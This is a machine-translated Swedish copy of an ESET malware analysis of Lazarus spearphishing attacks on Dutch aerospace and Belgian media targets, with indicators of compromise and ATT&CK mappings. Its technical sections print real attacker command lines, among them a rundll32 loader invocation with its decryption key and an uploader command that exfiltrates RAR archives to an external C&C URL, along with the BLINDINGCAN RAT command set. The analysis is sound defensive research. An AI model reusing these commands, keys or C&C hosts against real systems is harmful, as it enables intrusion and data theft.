Zephyrnet-logotyp

Lazarus-kampanjer med Amazon-tema i Nederländerna och Belgien

Datum:

ESET-forskare har upptäckt Lazarus-attacker mot mål i Nederländerna och Belgien som använder spearphishing-e-postmeddelanden kopplade till falska jobberbjudanden

ESET-forskare avslöjade och analyserade en uppsättning skadliga verktyg som användes av den ökända Lazarus APT-gruppen i attacker under hösten 2021. Kampanjen började med spearphishing-e-postmeddelanden innehållande skadliga dokument med Amazon-tema och riktade sig till en anställd på ett flygföretag i Nederländerna. , och en politisk journalist i Belgien. Det primära målet för angriparna var dataexfiltrering. Lazarus (även känd som HIDDEN COBRA) har varit aktiv sedan åtminstone 2009. Den är ansvarig för högprofilerade incidenter som både Hacka Sony Pictures Entertainment och tiotals-miljoner-dollar cyberheister 2016, den WannaCryptor (aka WannaCry) utbrott 2017, och en lång historia av störande attacker mot Sydkoreansk offentlig och kritisk infrastruktur sedan åtminstone 2011.

Viktiga resultat i detta blogginlägg:

  • Lazarus-kampanjen riktade sig mot en anställd på ett flygbolag i Nederländerna och en politisk journalist i Belgien.
  • Det mest anmärkningsvärda verktyget som används i den här kampanjen representerar det första registrerade missbruket av sårbarheten CVE-2021-21551. Denna sårbarhet påverkar Dell DBUtil-drivrutiner; Dell tillhandahöll en säkerhetsuppdatering i maj 2021.
  • Detta verktyg, i kombination med sårbarheten, inaktiverar övervakningen av alla säkerhetslösningar på komprometterade maskiner. Den använder tekniker mot Windows-kärnmekanismer som aldrig tidigare har observerats i skadlig programvara.
  • Lazarus använde också i den här kampanjen deras fullt utrustade HTTP(S)-bakdörr känd som BLINDINGCAN.
  • Komplexiteten i attacken tyder på att Lazarus består av ett stort team som är systematiskt organiserat och väl förberedda.

Båda målen presenterades med jobberbjudanden – den anställde i Nederländerna fick en bilaga via LinkedIn Messaging och personen i Belgien fick ett dokument via e-post. Attacker startade efter att dessa dokument öppnats. Angriparna distribuerade flera skadliga verktyg på varje system, inklusive droppare, laddare, fullt utrustade HTTP(S)-bakdörrar, HTTP(S)-uppladdare och nedladdare. Gemensamheten mellan dropparna var att de är trojaniserade öppen källkodsprojekt som dekrypterar den inbäddade nyttolasten med hjälp av moderna blockchiffer med långa nycklar som skickas som kommandoradsargument. I många fall är skadliga filer DLL-komponenter som sidladdades av legitima EXE:er, men från en ovanlig plats i filsystemet.

Det mest anmärkningsvärda verktyget som angriparna levererade var en användarlägesmodul som fick förmågan att läsa och skriva kärnminne på grund av CVE-2021-21551 sårbarhet i en legitim Dell-drivrutin. Detta är den första någonsin registrerade missbruket av denna sårbarhet i naturen. Angriparna använde sedan sin skrivåtkomst till kärnminnet för att inaktivera sju mekanismer som Windows-operativsystemet erbjuder för att övervaka dess åtgärder, som register, filsystem, processskapande, händelsespårning etc., vilket i princip förblindar säkerhetslösningar på ett mycket generiskt och robust sätt.

I det här blogginlägget förklarar vi kampanjens sammanhang och ger en detaljerad teknisk analys av alla komponenter. Denna forskning presenterades vid årets Virus Bulletin konferens. På grund av originaliteten ligger huvudfokus i presentationen på den skadliga komponenten som används i denna attack som använder tekniken Bring Your Own Vulnerable Driver (BYOVD) och utnyttjar den tidigare nämnda CVE-2021-21551-sårbarheten. Detaljerad information finns i vitboken Lazarus & BYOVD: Evil till Windows-kärnan.

Vi tillskriver dessa attacker till Lazarus med hög tillförsikt, baserat på de specifika modulerna, kodsigneringscertifikatet och intrångsmetoden som är gemensam med tidigare Lazarus-kampanjer som t.ex. Drift i (ter) ception  och Operation DreamJob. Mångfalden, antalet och excentriciteten i genomförandet av Lazarus-kampanjer definierar denna grupp, liksom att den utför alla tre pelarna för cyberkriminella aktiviteter: cyberspionage, cybersabotage och jakt på ekonomisk vinning.

Första åtkomst

ESET-forskare upptäckte två nya attacker: en mot personal från en mediabutik i Belgien och en mot en anställd på ett flygbolag i Nederländerna.

I Nederländerna drabbade attacken en Windows 10-dator ansluten till företagets nätverk, där en anställd kontaktades via LinkedIn Messaging om ett förmodat potentiellt nytt jobb, vilket resulterade i att ett e-postmeddelande med en dokumentbilaga skickades. Vi kontaktade säkerhetsutövaren för det drabbade företaget, som kunde dela det skadliga dokumentet med oss. Word-filen Amzon_Netherlands.docx som skickas till målet är bara ett konturdokument med en Amazon-logotyp (se figur 1). När den öppnas, fjärrmallen https://thetalkingcanvas[.]com/thetalking/globalcareers/us/5/careers/jobinfo.php?image=_DO.PROJ (var är ett sjusiffrigt nummer) hämtas. Vi kunde inte skaffa innehållet, men vi antar att det kan ha innehöll ett jobberbjudande för Amazons rymdprogram, Projekt Kuiper. Detta är en metod som Lazarus praktiserade i Drift i (ter) ception och Operation DreamJob kampanjer som riktar sig till flyg- och försvarsindustrin.

Figur 1. Dokument med Amazon-tema skickat till målet i Nederländerna

Inom några timmar levererades flera skadliga verktyg till systemet, inklusive droppare, laddare, fullt utrustade HTTP(S)-bakdörrar, HTTP(S)-uppladdare och HTTP(S)-nedladdare; se avsnittet Verktygsuppsättning.

Angående attacken i Belgien kontaktades den anställde på ett journalistföretag (vars e-postadress var allmänt tillgänglig på företagets hemsida) via ett e-postmeddelande med lockbetet AWS_EMEA_Legal_.docx bifogad. Eftersom vi inte fick dokumentet vet vi bara dess namn, vilket tyder på att det kan ha lämnat ett jobberbjudande i en juridisk position. Efter att ha öppnat dokumentet utlöstes attacken, men stoppades av ESET-produkter omedelbart, med bara en skadlig körbar inblandad. Den intressanta aspekten här är att den här binära filen vid den tiden var giltigt signerad med ett kodsigneringscertifikat.

Erkännande

Vi tillskriver båda attackerna Lazarus-gruppen med ett högt självförtroende. Detta är baserat på följande faktorer, som visar relationer till andra Lazarus-kampanjer:

  1. Skadlig programvara (intrångsuppsättningen):
    1. HTTPS-bakdörren (SHA‑1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2) har starka likheter med bakdörren BLINDINGCAN, rapporterad av CISA (US-CERT), och tillskrivs HIDDEN COBRA, vilket är deras kodnamn för Lazarus.
    2. HTTP(S)-uppladdaren har starka likheter med verktyget C:ProgramDataIBM~DF234.TMP nämnt i rapport av HvS Consulting, Avsnitt 2.10 Exfiltrering.
    3. Den fullständiga sökvägen och namnet, %ALLUSERSPROFILE%AdobeAdobe.tmp, är identisk med den som Kaspersky rapporterade i februari 2021 i en vitbok om Lazarus Operation ThreatNeedle, som riktar sig till försvarsindustrin.
    4. Kodsigneringscertifikatet, som utfärdades till det amerikanska företaget "A" MEDICKONTOR, PLLC och används för att signera en av dropparna, rapporterades också in kampanjen mot säkerhetsforskare; se även Lazarus-gruppen: 2 TOY GUYS-kampanj, ESET Hotrapport 2021 T1, sida 11.
    5. En ovanlig typ av kryptering utnyttjades i verktygen för denna Lazarus-kampanj: HC-128. Andra mindre vanliga chiffer som användes av Lazarus tidigare: en Spritz-variant av RC4 in vattenhålsattackerna mot polska och mexikanska banker; senare använde Lazarus en modifierad RC4 in Drift i (ter) ception; ett modifierat A5/1-strömchiffer användes i WIZVERA VeraPort supply-chain attack.
  2. Infrastruktur:
    1. För C&C-servern på första nivån använder angriparna inte sina egna servrar utan hackar befintliga istället. Detta är ett typiskt, men ändå svagt självförtroende beteende hos Lazarus.

Verktygset

En av de typiska egenskaperna hos Lazarus är dess leverans av den slutliga nyttolasten i form av en sekvens av två eller tre steg. Det börjar med en dropper – vanligtvis en trojaniserad öppen källkod – som dekrypterar den inbäddade nyttolasten med ett modernt blockchiffer som AES-128 (vilket inte är ovanligt för Lazarus, t.ex. Operation Bookcodes, eller en obfuskerad XOR, efter att ha analyserat kommandoradsargumenten för en stark nyckel. Trots att den inbäddade nyttolasten inte släpps till filsystemet utan laddas direkt i minnet och körs, betecknar vi sådan skadlig kod som en dropper. Skadlig programvara som inte har en krypterad buffert, men som laddar en nyttolast från ett filsystem, betecknar vi som en laddare.

Dropparna kan (Tabell 1) eller inte (Tabell 2) vara sidoladdade av en legitim (Microsoft) process. I det första fallet här är den legitima applikationen på en ovanlig plats och den skadliga komponenten bär namnet på motsvarande DLL som är bland applikationens importer. Till exempel den skadliga DLL-filen coloui.dll är sidladdad av ett legitimt systemprogram Color Control Panel (colorcpl.exe), båda belägna på C:ProgramDataPTC. Den vanliga platsen för denna legitima applikation är dock %WINDOWS%System32.

I alla fall skickas minst ett kommandoradsargument under körning som fungerar som en extern parameter som krävs för att dekryptera den inbäddade nyttolasten. Olika dekrypteringsalgoritmer används; se den sista kolumnen i Tabell 1 och Tabell 2. I flera fall när AES-128 används finns det också en intern, hårdkodad parameter tillsammans med namnet på den överordnade processen och dess DLL-namn, allt som krävs för framgångsrik dekryptering.

Tabell 1. Skadliga DLL-filer som laddas från en ovanlig plats av en legitim process

Platsmapp Legitim föräldraprocess Skadlig sidoladdad DLL Trojaniserat projekt Extern parameter Dekrypteringsalgoritm
C:ProgramDataPTC colorcpl.exe colorui.dll libcrypto av LibreSSL 2.6.5 BE93E050D9C0EAEB1F0E6AE13C1595B5
(Laster BLINDINGCAN)
XOR
C:WindowsVss WFS.exe credui.dll GOnpp v1.2.0.0 (anteckningsblock++ plug-in) A39T8kcfkXymmAcq
(Lastar mellanlastaren)
AES-128
C: Windows-säkerhet WFS.exe credui.dll FingerText 0.56.1 (Anteckningsblock++ plug-in) N / A AES-128
C:ProgramDataCaphyon wsmprovhost.exe mi.dll lecui 1.0.0 alfa 10 N / A AES-128
C:WindowsMicrosoft.NETFramework64v4.0.30319 SMSvcHost.exe cryptsp.dll lecui 1.0.0 alfa 10 N / A AES-128

Tabell 2. Annan skadlig programvara inblandad i attacken

Platsmapp malware Trojaniserat projekt Extern parameter Dekrypteringsalgoritm
C:PublicCache msdxm.ocx libpcre 8.44 93E41C6E20911B9B36BC
(Laddar ned HTTP(S)-nedladdaren)
XOR
C:ProgramDataAdobe Adobe.tmp SQLite 3.31.1 S0RMM‑50QQE‑F65DN‑DCPYN‑5QEQA
(Laddar HTTP(S)-uppdateringsprogrammet)
XOR
C:PublicCache msdxm.ocx sslSniffer Saknas HC-128

Efter framgångsrik dekryptering kontrolleras bufferten för rätt PE-format och exekveringen skickas till den. Denna procedur kan hittas i de flesta droppar och lastare. Början av det kan ses i figur 2.

Figur 2. Den dekrypterade bufferten är en 64-bitars körbar fil

HTTP(S) bakdörr: BLINDINGCAN

Vi identifierade en fullt utrustad HTTP(S)-bakdörr – en RATTA känd som BLINDINGCAN – som användes i attacken.

Denna nyttolasts dropper kördes som %ALLUSERSPROFILE%PTCcolorui.dll; se Tabell 1 för detaljer. Nyttolasten extraheras och dekrypteras med en enkel XOR men med en lång nyckel, som är en sträng byggd genom att sammanfoga namnet på föräldraprocessen, är eget filnamn och den externa kommandoradsparametern – här COLORCPL.EXECOLORUI.DLLBE93E050D9C0EAEB1F0E6AE13C1595B5.

Nyttolasten, SHA-1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2, är en 64-bitars VMProtect-ed DLL. En anslutning görs till en av de avlägsna platserna https://aquaprographix[.]com/patterns/Map/maps.php or https://turnscor[.]com/wp-includes/feedback.php. Inom den virtualiserade koden pivoterade vi via följande mycket specifika RTTI-artefakter som finns i den körbara filen: .?AVCHTTP_Protocol@@, .?AVCFileRW@@. Dessutom finns det en likhet på kodnivån, eftersom indexen för kommandona börjar med samma värde, 8201; se figur 3. Detta hjälpte oss att identifiera denna RATTA som BLINDINGCAN (SHA-1: 5F4FBD57319BD0D2DF31131E864FDDA9590A652D), rapporterad för första gången av CISA. Den senaste versionen av denna nyttolast observerades i en annan Amazon-temakampanj, där BLINDINGCAN släpptes av en trojaniserad Putty-0.77-klient: se Mandiants blogg.

Figur 3. Kodjämförelse av vanliga (övre, oskyddade) och virtualiserade (nedre, VMProtect-ed) varianter av BLINDINGCAN, med en överensstämmelse mellan två kommandoindex, 8256 och 8201

Baserat på antalet kommandokoder som är tillgängliga för operatören, är det troligt att en styrenhet på serversidan finns tillgänglig där operatören kan styra och utforska komprometterade system. Åtgärder som görs inom denna styrenhet resulterar förmodligen i att motsvarande kommando-ID och deras parametrar skickas till den RAT som körs på målets system. Listan över kommandokoder finns i tabell 3 och överensstämmer med analysen gjord av JPCERT/CC, Appendix C. Det finns inga valideringskontroller av parametrar som mapp eller filnamn. Det betyder att alla kontroller måste implementeras på serversidan, vilket tyder på att serversidans kontroller är en komplex applikation, mycket troligt med ett användarvänligt GUI.

Tabell 3. RAT:s kommandon

Kommando Beskrivning
8201 Skicka systeminformation som datornamn, Windows-version och kodsidan.
8208 Hämta attributen för alla filer i mappade RDP-mappar (tsclientC och så vidare).
8209 Hämta rekursivt attributen för lokala filer.
8210 Kör ett kommando i konsolen, lagra utdata i en temporär fil och ladda upp den.
8211 Zippa filer i en tillfällig mapp och ladda upp dem.
8212 Ladda ner en fil och uppdatera dess tidsinformation.
8214 Skapa en ny process i konsolen och samla in resultatet.
8215 Skapa en ny process i säkerhetssammanhanget för användaren som representeras av den angivna token och samla in utdata.
8217 Skapa rekursivt en processträdlista.
8224 Avsluta en process.
8225 Ta bort en fil på ett säkert sätt.
8226 Aktivera icke-blockerande I/O via TCP-socket (socket(AF_INET , SOCK_STREAM , IPPROTO_TCP) med FIONBIO-kontrollkoden).
8227 Ställ in den aktuella katalogen för den aktuella processen.
8231 Uppdatera tidsinformationen för den valda filen.
8241 Skicka den aktuella konfigurationen till C&C-servern.
8242 Uppdatera konfigurationen.
8243 Lista rekursivt katalogstrukturen.
8244 Få typ och ledigt diskutrymme för en enhet.
8249 Fortsätt med nästa kommando.
8256 Begär ett annat kommando från C&C-servern.
8262 Skriv om en fil utan att ändra dess senaste skrivtid.
8264 Kopiera en fil till en annan destination.
8265 Flytta en fil till en annan destination.
8272 Ta bort en fil.
8278 Ta en skärmdump.

Mellanlastare

Nu beskriver vi en trestegskedja där vi tyvärr bara kunde identifiera de två första stegen: en droppare och en mellanlastare.

Det första steget är en dropper placerad vid C:WindowsVsscredui.dll och kördes via en legitim – men sårbar för DLL-sökningsorderkapning – applikation med (extern) parametern C:WindowsVssWFS.exe A39T8kcfkXymmAcq. Programmet WFS.exe är en kopia av Windows Fax and Scan-programmet, men dess standardplats är %WINDOWS%System32.

Droppern är en trojaniserad GOnpp plug-in för Notepad++, skrivet i programmeringsspråket Go. Efter dekrypteringen kontrollerar dropparen om bufferten är en giltig 64-bitars körbar och laddar den i så fall i minnet så att det andra steget är klart för exekvering.

Målet med detta mellanstadium är att ladda en extra nyttolast i minnet och exekvera den. Den utför denna uppgift i två steg. Den läser och dekrypterar först konfigurationsfilen C:windowsSystem32wlansvc.cpl, som inte, som dess tillägg kan antyda, en (krypterad) körbar fil, utan en datafil som innehåller bitar av 14944 byte med konfiguration. Vi hade inte den specifika informationen från den aktuella attacken; vi fick dock en sådan konfiguration från en annan Lazarus-attack: se figur 5. Konfigurationen förväntas börja med ett dubbelord som representerar den totala storleken på den återstående bufferten (se rad 69 i figur 4 nedan och variabeln u32TotalSize), följt av en rad med 14944 byte-långa strukturer som innehåller minst två värden: namnet på den laddade DLL som en platshållare för att identifiera resten av konfigurationen (vid förskjutningen 168 på linje 74 i figur 4 och den markerade delen i figur 5).

Figur 4. Det första steget att dekryptera konfigurationsfilen och kontrollera om namnet på den laddade DLL-filen matchar den förväntade

Det andra steget är åtgärden att läsa, dekryptera och ladda den här filen som med stor sannolikhet representerar det tredje och sista steget. Det förväntas vara en 64-bitars körbar fil och laddas in i minnet på samma sätt som första stegs dropper hanterade mellanlastaren. I början av exekveringen skapas en mutex som en sammanlänkning av strängen GlobalAppCompatCacheObject och CRC32-kontrollsumman för dess DLL-namn (credui.dll) representeras som ett signerat heltal. Värdet ska vara lika GlobalAppCompatCacheObject-1387282152 if wlansvc.cpl existerar och -1387282152 annat.

Figur 5. En konfiguration av mellanlastaren. Det markerade filnamnet förväntas matcha namnet på den skadliga programvaran som körs. se även bild 4.

Ett intressant faktum är användningen av denna dekrypteringsalgoritm (Figur 4, Rad 43 & 68), som inte är så utbredd i Lazarus verktygsuppsättning eller skadlig programvara i allmänhet. Konstanterna 0xB7E15163 och 0x61C88647 (vilket är -0x9E3779B9; se figur 6, rad 29 och 35) in nyckelexpansionen antyder att det antingen är RC5- eller RC6-algoritmen. Genom att kontrollera algoritmens huvuddekrypteringsloop identifierar man att den är den mer komplexa av de två, RC6. Ett exempel på ett sofistikerat hot som använder sådan ovanlig kryptering är Equations Groups BananaUsurper; ser Kasperskys rapport från 2016.

Figur 6. Nyckelexpansion av RC6

HTTP(S)-nedladdare

En nedladdare som använder HTTP(S)-protokollen levererades också till målets system.

Den installerades av en första stegs dropper (SHA1: 001386CBBC258C3FCC64145C74212A024EAA6657), som är en trojaniserad libpcre-8.44 bibliotek. Det utfördes av kommandot

cmd.exe /c start /b rundll32.exe C:PublicCachemsdxm.ocx,sCtrl 93E41C6E20911B9B36BC

(parametern är en XOR-nyckel för att extrahera den inbäddade nyttolasten; se tabell 2). Droppern uppnår också uthållighet genom att skapa OneNoteTray.LNK filen ligger i %APPDATA%MicrosoftWindows StartmenyProgramStartup mapp.

Det andra steget är en 32-bitars VMProtect-ed modul som gör en HTTP-anslutningsbegäran till en C&C-server lagrad i dess konfiguration; se figur 7. Den använder samma User Agent – Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36 – som BLINDINGCAN RAT, innehåller RTTI-artefakten .?AVCHTTP_Protocol@@ men inte .?AVCFileRW@@, och saknar funktioner som att ta skärmdumpar, arkivera filer eller utföra ett kommando via kommandoraden. Den kan ladda en körbar fil till ett nyligen allokerat minnesblock och skicka kodexekvering till det.

Figur 7. En konfiguration av HTTP(S)-nedladdaren. De markerade värdena är storleken på konfigurationen och antalet webbadresser. I attacken vi observerade var alla webbadresser identiska.

HTTP(S)-uppladdare

Detta Lazarus-verktyg ansvarar för dataexfiltrering genom att använda HTTP- eller HTTPS-protokollen.

Den levereras också i två steg. Den första dropparen är en trojaniserad sqlite-3.31.1 bibliotek. Lazarus-prover innehåller vanligtvis inte en PDB-sökväg, men den här laddaren har en, W:DevelopToolHttpUploaderHttpPOSTPro_BINRUNDLL64sqlite3.pdb, vilket också föreslår dess funktionalitet omedelbart – en HTTP-uppladdningsverktyg.

Droppern förväntar sig flera kommandoradsparametrar: en av dem är ett lösenord som krävs för att dekryptera och ladda den inbäddade nyttolasten; resten av parametrarna skickas till nyttolasten. Vi fångade inte parametrarna, men lyckligtvis observerades en vild användning av detta verktyg i en rättsmedicinsk undersökning av HvS Consulting:

C:ProgramDataIBM~DF234.TMP S0RMM-50QQE-F65DN-DCPYN-5QEQA https://www.gonnelli.it/uploads/catalogo/thumbs/thumb.asp C:ProgramDataIBMrestore0031.dat data03 10000 192.168.1.240.

Den första parametern, S0RMM-50QQE-F65DN-DCPYN-5QEQA, fungerade som en nyckel för dropparens dekrypteringsrutin (för att vara mer exakt, en obfuskering utfördes först, där den krypterade bufferten XOR-edades med sin kopia flyttad med en byte; sedan följde en XOR-dekryptering med nyckeln). Resten av parametrarna lagras i en struktur och skickas till det andra steget. För en förklaring av deras betydelser, se Tabell 4.

Tabell 4. Kommandoradsparametrar för HTTP(S)-uppdateringsprogrammet

Parameter Värde Förklaring
1 S0RMM-50QQE-F65DN-DCPYN-5QEQA En 29-byte dekrypteringsnyckel.
2 https:// C&C för dataexfiltrering.
3 C:ProgramDataIBMrestore0031.dat Namnet på en lokal RAR-volym.
4 data03 Namnet på arkivet på serversidan.
5 10,000 Storleken på en RAR-delning (max 200,000 XNUMX kB).
6 N / A Startindex för en split.
7 N / A Slutindex för en split.
8 -p 192.168.1.240 8080 En switch -p
9 Proxy IP-adress
10 Proxyport

Det andra steget är själva HTTP-uppladdaren. Den enda parametern för detta steg är en struktur som innehåller C&C-servern för exfiltreringen, filnamnet på ett lokalt RAR-arkiv, rotnamnet för ett RAR-arkiv på serversidan, den totala storleken på en RAR uppdelad i kilobyte, en valfri utbud av delade index, och ett valfritt -p switch med den interna proxy-IP och en port; se tabell 4. Till exempel, om RAR-arkivet är uppdelat i 88 bitar, var och en 10,000 XNUMX kB stor, skulle uppladdaren skicka in dessa uppdelningar och lagra dem på serversidan under namn data03.000000.avi, data03.000001.avi, ..., data03.000087.avi. Se figur 8, rad 42 där dessa strängar är formaterade.

Användaragenten är densamma som för BLINDINGCAN och HTTP(S)-nedladdaren,  Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36.

Figur 8. Exfiltreringen av RAR delas upp till en C&C-server

FudModule Rootkit

Vi identifierade ett dynamiskt länkat bibliotek med det interna namnet FudModule.dll som försöker inaktivera olika Windows-övervakningsfunktioner. Den gör det genom att modifiera kärnvariabler och ta bort kärnanrop, vilket är möjligt eftersom modulen får förmågan att skriva i kärnan genom att utnyttja BYOVD-teknikerna – den specifika CVE-2021-21551 sårbarhet i Dell-drivrutinen dbutil_2_3.sys.

Den fullständiga analysen av denna skadliga programvara finns tillgänglig som ett VB2022-dokument Lazarus & BYOVD: ondska till Windows-kärnan.

Annan skadlig programvara

Ytterligare droppare och laddare upptäcktes i attackerna, men vi fick inte de nödvändiga parametrarna för att dekryptera de inbäddade nyttolasterna eller krypterade filerna.

Trojaniserad lecui

Ett projekt lecui av Alec Musafa tjänade angriparna som en kodbas för trojanisering av ytterligare två laddare. Med sina filnamn var de förklädda som Microsoft-bibliotek mi.dll (Management Infrastructure) och cryptsp.dll (Cryptographic Service Provider API), respektive, och detta berodde på den avsedda sidladdningen av de legitima applikationerna wsmprovhost.exe och SMSvcHost.exe, respektive; se tabell 1.

Huvudsyftet med dessa laddare är att läsa och dekryptera körbara filer som finns i alternativa dataströmmar (ADS) kl C:ProgramDataCaphyonmi.dll:Zone.Identifier och C:Program FilesWindows Media PlayerSkinsDarkMode.wmz:Zone.Identifier, respektive. Eftersom vi inte har skaffat dessa filer är det inte känt vilken nyttolast som är gömd där; Den enda säkerheten är dock att det är en körbar fil, eftersom laddningsprocessen följer dekrypteringen (se figur 2). Användningen av ADS är inte ny, eftersom Ahnlab rapporterade en Lazarus attackerar sydkoreanska företag i juni 2021 med sådana tekniker.

Trojaniserad fingertext

ESET blockerade ytterligare ett trojaniserat program med öppen källkod, FingerText 0.5.61 av erinata, ligger vid %WINDIR%securitycredui.dll. De korrekta kommandoradsparametrarna är inte kända. Som i några av de tidigare fallen krävdes tre parametrar för AES-128-dekrypteringen av den inbäddade nyttolasten: den överordnade processens namn, WFS.exe; den interna parametern, mg89h7MsC5Da4ANi; och den saknade externa parametern.

Trojaniserad sslSniffer

Attacken mot ett mål i Belgien blockerades tidigt i dess distributionskedja så bara en fil identifierades, en 32-bitars dropper som finns på C:PublicCachemsdxm.ocx. Det är en sslSniffer-komponent från wolfSSL projekt som har trojaniserats. Vid tidpunkten för attacken var den giltigt signerad med ett certifikat utfärdat till "A" MEDICKONTOR, PLLC (se figur 8), som sedan har löpt ut.

Figur 9. Giltigt signerat men redan utgånget certifikat

Den har två skadliga exporter som den legitima DLL:n inte har: SetOfficeCertInit och SetOfficeCert. Båda exporterna kräver exakt två parametrar. Syftet med den första exporten är att skapa uthållighet genom att skapa OfficeSync.LNK, beläget i %APPDATA%MicrosoftWindows StartmenyProgramStartup, pekar på den skadliga DLL-filen och kör dess andra export via rundll32.exe med parametrarna skickade till sig själv.

Den andra exporten, SetOfficeCert, använder den första parametern som en nyckel för att dekryptera den inbäddade nyttolasten, men vi kunde inte extrahera den, eftersom nyckeln inte är känd för oss.

Dekrypteringsalgoritmen är också intressant som angriparna använder HC-128 med 128-bitarsnyckeln som första parameter och för dess 128-bitars initieringsvektor, strängen ffffffffffffffff. Konstanterna som avslöjar chifferet visas i figur 10.

Figur 10. Nyckelinställningen med markerade konstanter som föreslår HC-128-chifferet

Slutsats

I denna attack, såväl som i många andra som tillskrivs Lazarus, såg vi att många verktyg distribuerades även på en enda riktad slutpunkt i ett nätverk av intresse. Utan tvekan är laget bakom attacken ganska stort, systematiskt organiserat och väl förberedda. För första gången i naturen kunde angriparna utnyttja CVE-2021-21551 för att stänga av övervakningen av alla säkerhetslösningar. Det gjordes inte bara i kärnutrymmet, utan också på ett robust sätt, med hjälp av en serie få eller odokumenterade Windows-interna funktioner. Utan tvekan krävde detta djupgående kunskaper inom forskning, utveckling och testning.

Ur försvararnas synvinkel verkar det lättare att begränsa möjligheterna till initial åtkomst än att blockera den robusta verktygsuppsättning som skulle installeras efter att bestämda angripare fått fotfäste i systemet. Som i många fall tidigare var en anställd som blev offer för angriparnas lockelse den första punkten av misslyckande här. I känsliga nätverk bör företag insistera på att anställda inte följer sina personliga agendor, som att söka jobb, på enheter som hör till företagets infrastruktur.

För eventuella frågor om vår forskning publicerad på WeLiveSecurity, vänligen kontakta oss på hotintel@eset.com.

ESET Research erbjuder nu även privata APT-underrättelserapporter och dataflöden. För eventuella frågor om denna tjänst, besök ESET Threat Intelligence sida.

IOCS

En omfattande lista över kompromissindikatorer och prover finns i vår GitHub förvaret.

SHA-1 Filnamn Detektering Beskrivning
296D882CB926070F6E43C99B9E1683497B6F17C4 FudModule.dll Win64/Rootkit.NukeSped.A En användarlägesmodul som fungerar med kärnminnet.
001386CBBC258C3FCC64145C74212A024EAA6657 C:PublicCachemsdxm.ocx Win32/NukeSped.KQ En droppe av HTTP(S)-nedladdaren.
569234EDFB631B4F99656529EC21067A4C933969 colorui.dll Win64/NukeSped.JK En dropper av BLINDINGCAN sidladdad av en legitim colorcpl.exe.
735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2 N / A Win64/NukeSped.JK En 64-bitars variant av BLINDINGCAN RAT.
4AA48160B0DB2F10C7920349E3DCCE01CCE23FE3 N / A Win32/NukeSped.KQ En HTTP(S)-nedladdare.
C71C19DBB5F40DBB9A721DC05D4F9860590A5762 Adobe.tmp Win64/NukeSped.JD En droppe av HTTP(S)-uppladdningsprogrammet.
97DAAB7B422210AB256824D9759C0DBA319CA468 credui.dll Win64/NukeSped.JH En droppare av en mellanlastare.
FD6D0080D27929C803A91F268B719F725396FE79 N / A Win64/NukeSped.LP En HTTP(S)-uppladdare.
83CF7D8EF1A241001C599B9BCC8940E089B613FB N / A Win64/NukeSped.JH En mellanlastare som laddar en extra nyttolast från filsystemet.
C948AE14761095E4D76B55D9DE86412258BE7AFD DBUtil_2_3.sys Win64/DBUtil.A En legitim sårbar drivrutin från Dell, släppt av FudModule.dll.
085F3A694A1EECDE76A69335CD1EA7F345D61456 cryptsp.dll Win64/NukeSped.JF En droppare i form av ett trojaniserat lecui-bibliotek.
55CAB89CB8DABCAA944D0BCA5CBBBEB86A11EA12 mi.dll Win64/NukeSped.JF En droppare i form av ett trojaniserat lecui-bibliotek.
806668ECC4BFB271E645ACB42F22F750BFF8EE96 credui.dll Win64/NukeSped.JC En trojaniserad FingerText-plugin för Notepad++.
BD5DCB90C5B5FA7F5350EA2B9ACE56E62385CA65 msdxm.ocx Win32/NukeSped.KT En trojaniserad version av LibreSSL:s sslSniffer.

nätverks

IP Provider Först sett Detaljer
67.225.140[.]4 Liquid Web, LLC 2021-10-12 En komprometterad legitim WordPress-baserad webbplats som är värd för C&C-servern
https://turnscor[.]com/wp-includes/feedback.php
50.192.28[.]29 Comcast Cable Communications, LLC 2021-10-12 En komprometterad legitim webbplats som är värd för C&C-servern https://aquaprographix[.]com/patterns/Map/maps.php
31.11.32[.]79 Aruba SpA 2021-10-15 En komprometterad legitim webbplats som är värd för C&C-servern http://www.stracarrara[.]org/images/img.asp

MITER ATT & CK tekniker

Detta bord byggdes med hjälp av version 11 av MITER ATT & CK -ramverket.

Taktik ID Namn Beskrivning
Utförande T1106 Native API Lazarus HTTP(S)-bakdörren använder Windows API för att skapa nya processer.
T1059.003 Kommando- och skripttolk: Windows Command Shell HTTP(S) bakdörr skadlig programvara använder cmd.exe för att köra kommandoradsverktyg
Försvarsflykt T1140 Deobfuskera/avkoda filer eller information Många av Lazarus-verktygen lagras i ett krypterat tillstånd i filsystemet.
T1070.006 Indikatorborttagning på värd: Tidsgräns Lazarus HTTP(S)-bakdörren kan ändra filtidsattributen för en vald fil.
T1574.002 Kapningsexekveringsflöde: DLL-sidoladdning Många av Lazarus droppare och lastare använder ett legitimt program för sin lastning.
T1014 rootkit Användar-till-kärna-modulen i Lazarus kan stänga av övervakningsfunktionerna i operativsystemet.
T1027.002 Obfuskerade filer eller information: Programvarupaketering Lazarus använder Themida och VMProtect för att fördunkla deras binärer
T1218.011 System binär proxyexekvering: Rundll32 Lazarus använder rundll32.exe för att köra sina skadliga DLL-filer
Command and Control T1071.001 Application Layer Protocol: webbprotokoll Lazarus HTTP(S)-bakdörren använder HTTP och HTTPS för att kommunicera med sina C&C-servrar.
T1573.001 Krypterad kanal: Symmetrisk kryptografi Lazarus HTTP(S)-bakdörren krypterar C&C-trafik med AES-128-algoritmen.
T1132.001 Datakodning: Standardkodning Lazarus HTTP(S)-nyttolaster kodar C&C-trafik med base64-algoritmen.
exfiltration T1560.002 Arkivera insamlade data: Arkivera via bibliotek Lazarus HTTP(S)-uppladdaren kan zippa filer av intresse och ladda upp dem till sin C&C.
Resursutveckling T1584.004 Skaffa infrastruktur: Server Kompromissade servrar användes av alla Lazarus HTTP(S)-bakdörrar, uppladdare och nedladdare som en C&C.
Utveckla förmågor T1587.001 malware Anpassade verktyg från attacken är troligen utvecklade av angriparna. Vissa uppvisar mycket specifik kärnutvecklingskapacitet som setts tidigare i Lazarus-verktyg.
Utförande T1204.002 Användarutförande: Skadlig fil Målet lockades att öppna ett skadligt Word-dokument.
Initial åtkomst T1566.003 Nätfiske: Spearphishing via tjänst Målet kontaktades via LinkedIn Messaging.
T1566.001 Nätfiske: Spearphishing-bilaga Målet fick en skadlig bilaga.
